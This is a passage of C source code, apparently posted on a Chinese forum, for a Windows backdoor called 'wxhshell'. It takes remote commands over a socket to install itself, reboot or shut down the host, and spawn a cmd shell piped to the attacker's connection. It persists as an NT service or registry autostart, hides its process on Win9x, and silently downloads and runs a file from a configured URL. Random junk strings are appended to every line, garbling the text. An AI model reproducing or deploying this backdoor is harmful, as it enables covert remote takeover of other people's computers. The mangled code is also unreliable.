  VWi2(@R^  
  // 帮助 !tNd\ }@  
  case '?': { T3N"CUk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uzBz}<M=  
    break; ?j{C*|yHO  
  } OBOwz4<  
  // 安装 T_;]fPajjD  
  case 'i': { sx 9uV  
    if(Install()) *:hy Y!x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wLJ]&puwm  
    else tous#(&pK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S8vV!xO  
    break; UE :HMn6  
    } [}2Z/   
  // 卸载 (\,BxvhG=  
  case 'r': { o 3N]`xD'  
    if(Uninstall()) vF4]ux&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >#(n"RCHf  
    else bw4oLu?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +?m0Q;%b  
    break; ?+2b(2&MXE  
    } PmX2[7  
  // 显示 wxhshell 所在路径 sL^yB  
  case 'p': { U|@V 74  
    char svExeFile[MAX_PATH]; h7yqk4'Lq  
    strcpy(svExeFile,"\n\r"); Ev9 >@~^  
      strcat(svExeFile,ExeFile); $ uh z  
        send(wsh,svExeFile,strlen(svExeFile),0); OCV+h'  
    break; l7}g^\I  
    } K@u&(}  
  // 重启 m:+8J,jW  
  case 'b': { gfa[4 z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `BY&>WY[  
    if(Boot(REBOOT)) uQqWew8l+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); },@^0UH4c  
    else { 7 s Fz?` -  
    closesocket(wsh); 3l1cyPv  
    ExitThread(0); jO~:<y3 =  
    } X~9j$3lUBR  
    break; =L-I-e97@  
    } {~Tg7<\L  
  // 关机 , YW|n:X  
  case 'd': { ;xYNX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CE%_A[a  
    if(Boot(SHUTDOWN)) %O[N}_XHEh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kv{}C)kt3  
    else { ?> D tw#}  
    closesocket(wsh); GqKsK r2%  
    ExitThread(0); zaimGMJ ,  
    } TQ@d~GR  
    break; w#y0atsg'  
    } }8K4-[\  
  // 获取shell ]lOh&Cz[  
  case 's': { /+]s.V.  
    CmdShell(wsh); s +s" MI  
    closesocket(wsh); ~x:DXEV,  
    ExitThread(0); b1#dz]  
    break; e [h8}F  
  } lUOvm\  
  // 退出 $md%x mQ[  
  case 'x': { c=O,;lWFqm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w'Tq3-%V  
    CloseIt(wsh); -~{c u47_  
    break; K2)!h.W  
    } dl-l"9~;  
  // 离开 b7`D|7D  
  case 'q': { u{<"NR h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |*5 =_vF  
    closesocket(wsh); OhZgcUqQ8  
    WSACleanup(); =+:{P?*}  
    exit(1); :mppv8bh  
    break; -Z-f1.Dm5  
        } )u%je~Vw  
  } ~&dyRt W4  
  } K>Fqf +_  
bUwn}_7b  
  // 提示信息 hZXXBp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =wWpP-J&  
} {Ro2ouQ!V  
  } 1T&Rc4$Sn7  
- YqYcer  
  return; b}^S.;vNj  
} LpbsYl  
v X~RP *  
// shell模块句柄 $ ,Ck70_  
int CmdShell(SOCKET sock) \>. LW9  
{ 1/+C5Bp*  
STARTUPINFO si; {$D,?V@%_  
ZeroMemory(&si,sizeof(si)); >SF Uy\3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =ac_,]z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tC?=E#3 V  
PROCESS_INFORMATION ProcessInfo; n: ui  
char cmdline[]="cmd"; N?Q+ >  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yF}OfK?0f  
  return 0; ))kF<A_MK  
} z G }?  
f"G-  
// 自身启动模式 z;f2*F  
int StartFromService(void) 8`>h}Q$  
{ 5zJj]A  
typedef struct ^FmU_Q0  
{ >eQr<-8  
  DWORD ExitStatus; 7"F*u :  
  DWORD PebBaseAddress; #AkV/1Y  
  DWORD AffinityMask; h0--B]f@  
  DWORD BasePriority; @}p2aV59  
  ULONG UniqueProcessId; (tah]Bx  
  ULONG InheritedFromUniqueProcessId; w27KI]%(  
}   PROCESS_BASIC_INFORMATION; }U~6^2 .,  
wcSyw2D  
PROCNTQSIP NtQueryInformationProcess; }0#U;_;D  
r`y ezbG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u-D dq~;|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hd\gH^wk  
v,-{Z1N%m  
  HANDLE             hProcess; G'2#9<c*  
  PROCESS_BASIC_INFORMATION pbi; _/8FRkx  
:bV mgLgG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EF7+ *Q9  
  if(NULL == hInst ) return 0; S1 Z2_V  
kE>0M9EdH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o./.Q9e7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +y7;81ND  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6*4's5>?D  
0]KraLu"N  
  if (!NtQueryInformationProcess) return 0; Amr[wx  
]xC#rwHUC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ac2(O6  
  if(!hProcess) return 0; q5h*`7f  
`g8E1-]l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f0<hE2  
2]GdD*  
  CloseHandle(hProcess); 1_fZm+oW!  
CTt vyr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6R-&-4  
if(hProcess==NULL) return 0; YBYZ=,"d  
K 8n4oz#z  
HMODULE hMod; >EL)X #e  
char procName[255]; hT$~ygQ  
unsigned long cbNeeded; 0iULCK  
H9h@sSg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IEKU-k7}Z  
!TZhQiorC  
  CloseHandle(hProcess); s+Fi @lg,  
iHwLZ[O{  
if(strstr(procName,"services")) return 1; // 以服务启动 /MY9 >  
z,qRcO&  
  return 0; // 注册表启动 ~<<nz9}o_  
} /,!qFt  
pi=-#g(2  
// 主模块 Vd".u'r  
int StartWxhshell(LPSTR lpCmdLine) b KTcZG  
{ tQZs.1=z  
  SOCKET wsl; E$W{8?:{  
BOOL val=TRUE; Y2xL>F  
  int port=0; @L.82p{h  
  struct sockaddr_in door; Um1[sMc{au  
Z3>N<u8)  
  if(wscfg.ws_autoins) Install(); a#mNE*Dg  
X37L\e[c  
port=atoi(lpCmdLine); ,yd MU\so(  
]| N3eu  
if(port<=0) port=wscfg.ws_port; ^~{$wVGa  
a+hd(JX0~  
  WSADATA data; +k dT(7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (P&4d~) m  
rl9. ]~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?$f)&O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uwRr LF  
  door.sin_family = AF_INET; fLV"T_rk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %6AW7q t  
  door.sin_port = htons(port); KD/V aN  
R'kyrEO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (D@A74q\'  
closesocket(wsl); e[sK@jX6  
return 1; N`)$[&NG]  
} [tMZ G%h  
f|y:vpd%  
  if(listen(wsl,2) == INVALID_SOCKET) { u:aW 8  
closesocket(wsl); TCT57P#b  
return 1; I^oE4o  
} YF+n b.0.  
  Wxhshell(wsl); dw.F5?j`b  
  WSACleanup(); Wf{O[yL*  
V([~r,  
return 0; P&Pj>!T5  
mv5n4mav  
} yLsz8j-QJ  
V5p= mmnA,  
// 以NT服务方式启动 :>p8zG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h3T9"w[  
{ 5 H#W[^s"  
DWORD   status = 0; \rVQQ|l   
  DWORD   specificError = 0xfffffff; 7' S@3   
=)hVn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3!5Ur&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O?<&+(uMTT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _EF&A-kX|u  
  serviceStatus.dwWin32ExitCode     = 0; Oy 2+b1{  
  serviceStatus.dwServiceSpecificExitCode = 0; j5 g# M  
  serviceStatus.dwCheckPoint       = 0; + >cBVx6  
  serviceStatus.dwWaitHint       = 0; bzdb|I6Z  
aZEn6*0B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zG e'*Qei  
  if (hServiceStatusHandle==0) return; /r12h|  
v)2M1  
status = GetLastError(); `vc "Q/  
  if (status!=NO_ERROR) b)9'bJRvU  
{ S(\9T1DVe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -=.V '  
    serviceStatus.dwCheckPoint       = 0; ?<6CFH]  
    serviceStatus.dwWaitHint       = 0; l4TpH|k  
    serviceStatus.dwWin32ExitCode     = status; 'ejvH;V3i  
    serviceStatus.dwServiceSpecificExitCode = specificError; "R8KQj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0flg=U9  
    return; Ela-,(Glk  
  } M-i_#EWP  
&Q}*+Y]G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Xn~I=Ml d  
  serviceStatus.dwCheckPoint       = 0; $.Q$`/dF  
  serviceStatus.dwWaitHint       = 0; zni)<fmju  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Isx#9C  
} 191&_*Xb  
PQ@L+],C  
// 处理NT服务事件,比如:启动、停止 ORu2V# Z[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -{`@=U  
{ |Yq$s U  
switch(fdwControl) c{[q>@y pK  
{ Fq9Q+RNMZL  
case SERVICE_CONTROL_STOP: ",{ibh)g$`  
  serviceStatus.dwWin32ExitCode = 0; Jv.U Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #z1H8CFL"  
  serviceStatus.dwCheckPoint   = 0; 6%Be36<  
  serviceStatus.dwWaitHint     = 0; v=('{/^~>  
  { IF]lHB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cuc$3l(%  
  } Agrp(i"\@  
  return; kD[ r.Dma  
case SERVICE_CONTROL_PAUSE: nI0[;'Hn,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^Q&u0;OJ  
  break; [b:e:P 2  
case SERVICE_CONTROL_CONTINUE: :8A!HI}m{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~q&pF"va8  
  break; .'a&3 3J  
case SERVICE_CONTROL_INTERROGATE: )]#aauC+  
  break; 7 bDHXn  
}; wu"&|dt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b=3H  
} _,</1~.  
nNXgW  
// 标准应用程序主函数 `Y?87f:SP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <, 3ROo76  
{ c^`]`xiX  
%7O?JI [  
// 获取操作系统版本 uIU5.\"s  
OsIsNt=GetOsVer(); ki>~H!zB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ""Q1|  
v`1,4,;,qs  
  // 从命令行安装 |a{Q0:  
  if(strpbrk(lpCmdLine,"iI")) Install(); )/t?!T.[  
C ;(t/zh  
  // 下载执行文件 @,XSs  
if(wscfg.ws_downexe) { fu$R7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sl*5Y#,|1  
  WinExec(wscfg.ws_filenam,SW_HIDE); I5h[%T  
} "*O4GPj  
2S' {!A  
if(!OsIsNt) { _j_x1.l  
// 如果时win9x,隐藏进程并且设置为注册表启动 ' H7x L  
HideProc(); d,$d~alY  
StartWxhshell(lpCmdLine); ,.gQ^^+=  
} !z{-?o/  
else z4E|Ai  
  if(StartFromService()) id?h>g  
  // 以服务方式启动 xooY' El*#  
  StartServiceCtrlDispatcher(DispatchTable); yUPIY:0  
else jjM{]  
  // 普通方式启动 aTBR|U S  
  StartWxhshell(lpCmdLine); ,C {*s$  
,sGZ2=M}J  
return 0; fqu}Le  
}
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只看该作者 1 发表于: 2006-10-10
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